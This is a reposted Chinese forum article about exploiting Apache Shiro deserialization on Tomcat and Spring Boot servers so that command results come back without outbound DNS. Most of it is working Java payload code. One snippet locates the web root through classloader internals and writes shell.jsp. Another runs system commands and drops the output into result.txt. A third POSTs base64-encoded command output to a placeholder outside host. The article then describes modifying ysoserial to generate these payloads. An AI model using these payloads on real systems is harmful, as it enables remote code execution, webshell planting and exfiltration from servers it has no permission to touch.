本帖最后由 gclome 于 2020-4-20 20:48 编辑
本文转自:安服仔
原文链接:反序列化Tomcat容器探究
前言
最近碰到很多shiro反序列化漏洞,但是网上的poc基本都是基于dnslog来进行验证,这样在目标主机无法出网的情况下就难以发现并利用漏洞,本文以shiro反序列化为例,实现了在目标主机无法出网的情况下能够回显执行命令的结果(Tomcat),也希望能够引起大家对于一些反序列化漏洞利用方式的思考。 文章主要参考了知乎Litch1师傅的《Tomcat的一种通用回显方法研究》一文,还有文中所提及的几位大佬先知上的文章。文中指出”Thread.currentThread.getContextClassLoader()“方法,该方法获取到的classLoader里面有大量的Tomcat容器信息,的确是可以找到很多可以利用的点。
奇思妙旅的开始 首先在Esclipse上用Tomcat8.0的服务器调试
为了方便调试直接获取一个ClassLoader cl;
发现cl->resources->context->docBase存有Tomcat的物理路径信息。
其实这里面的cl的classloader是Tomcat自定义的ParallelWebappClassLoader
而ParallelWebappClassLoader继承自WebappClassLoaderBase
而WebappClassLoaderBase则有一些比较好用的方法。
可以通过getResources()方法直接获取当前classLoader的资源。
- WebappClassLoaderBase WCLB= (org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
- StandardRoot WRR=(StandardRoot) WCLB.getResources();
- StandardContext cc= (StandardContext) WRR.getContext();
- String path= cc.getDocBase();
复制代码 最终可以通过上述方法获取当前web的运行路径。
获取当前web路径后其实就可以直接写shell了
- java.io.FileOutputStream a= new java.io.FileOutputStream(((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext().getDocBase()+"/shell.jsp");a.write("shell".getBytes());a.close();
复制代码
但是当用这种方法测试本地搭建的shiro环境时发现失败了,本地shiro环境我用的是tomcat8.5环境,发现其8.5的getDocBase
值不是物理路径
然后又继续寻找一个较为通用的方法,发现StandardRoot 中有个getBaseUrls
发现其返回值也是网站的物理路径
- ((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()
复制代码
在8.5的tomcat输出一下
确实获取到了物理路径。通过这种方式可以很好的去找到网站的物理路径写shell就显得很轻松了。
但是实际过程中发现了springboot的站点没成功
但本地搭建springboot环境的时候发现
这个baseurl中还是有值的。
在这个文件夹中写文件,是可以通过web访问的
因此可以用这种思路来进行命令回显,但有个缺点就是需要在网站目录写文件。
- String cmd = "whoami";
- String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };
- java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
- java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
- String output = s.hasNext() ? s.next() : "";
- java.io.FileOutputStream a= new java.io.FileOutputStream(((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()+"/result.txt");
- a.write(output.getBytes());
- a.close();
复制代码
将命令回显写到网站的根目录然后进行读取
在研究的过程中发现如果网站出网,但是在windows环境或者不能反弹shell的环境下也可以通过下面的方式进行命令回显
- String cmd = "whoami";
- String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };
- java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
- java.util.Scanner s1 = new java.util.Scanner(in).useDelimiter("\\a");
- String output = s1.hasNext() ? s1.next() : "";
- java.net.HttpURLConnection c = (java.net.HttpURLConnection) new java.net.URL("http://xxxxx/xxx.php").openConnection();
- c.setRequestMethod("POST");
- c.setDoInput(true);
- c.setDoOutput(true);
- java.io.PrintWriter out = new java.io.PrintWriter(c.getOutputStream());
- String s="k="+ java.util.Base64.getEncoder().encodeToString(output.getBytes("utf-8"));
- System.out.println(s);
- out.print(s);
- out.flush();
- c.getResponseCode();
复制代码 将命令的结果通过post的方式发送出去,从而获取回显的命令。
接下来的事就是修改ysoserial代码使其可以根据上述代码生成对应payload了
修改ysoserial代码参考了c0ny1师傅的《使ysoserial支持执行自定义代码》一文效果如下
exp演示如下
|